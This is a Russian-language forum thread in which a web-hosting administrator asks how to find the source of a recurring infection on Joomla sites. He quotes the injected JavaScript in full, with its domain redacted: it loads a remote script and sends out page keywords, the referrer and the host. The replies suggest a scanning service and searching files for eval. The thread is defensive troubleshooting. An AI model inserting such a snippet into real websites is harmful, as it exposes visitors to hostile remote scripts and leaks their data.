Pascal_tgn
@Pascal_tgn

Вирус на веб-хостинге (Debian+Apache). Как найти источник заражения?

Добрый час!

Проблема такова: имеется Debian сервер для веб хостинга, на нём установлен Plesk Webhost Edition, все разрешения и полномочия по подпискам проверены много раз. Один из клиентов взял сразу много места под большое количество сайтов. Некоторые из них он перенёс со своего старого хостинга. Спустя пару недель - сервер стал попадать в спам-листы. При беглом осмотре, заметил, что именно его сайты при загрузке пытаются получить информацию со сторонних ресурсов, на которые сайт никак не мог ссылаться изначально (бывали даже домены .hk .jp и множество других).
Все его сайты сделаны на Joomla, в подавляющем большинстве шаблонов поражён файл index.php. Строка, приведённая ниже, была перед каждым тегом </head>. После удаления данной строки, она появляется там вновь спустя некоторое время (до 24 часов), причём только на сайтах этого пользователя, тоесть к другим сайтам зловред доступа не имеет. В cron никаких задач от имени пользователя нет.
Для поимки с поличным установил incron и поставил его мониторить нужные файлы на события IN_OPEN. Триггер события вызывал скрипт, записывающий результат lsof | grep "путь к папке с сайтами" в лог-файл.
На следующий день в логе появились записи о том, что файлы для изменения открывались от имени пользователя процессом php5-cgi.
Собственно, как найти инициатора процесса (задачу/порт/процесс), который запускает php5-cgi и как узнать, откуда именно берётся код вируса?

Код, найденный в .php файлах (домен удалён):
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://---domain---/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://---domain---/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>


Заранее огромное спасибо за помощь!
  • Вопрос задан
  • 692 просмотра
Решения вопроса 1
tigroid3
@tigroid3
PHP, YII2, SQL, Postgres, Docker, SPHINX, GIT
https://www.revisium.com/ai/
много сайтов полечил с помощью этого сервиса, может и тебе поможет
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
ThunderCat
@ThunderCat Куратор тега PHP
{PHP, MySql, HTML, JS, CSS} developer
Пройтись по всем папкам ресурсов жумлы, выискать пхп файлы, проверить на наличие в них eval. если содержат - переименовать. проверить работу сайта. И есть куча бесплатных антивирусов для хостингов. Но не все работают, надо иногда ручками.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы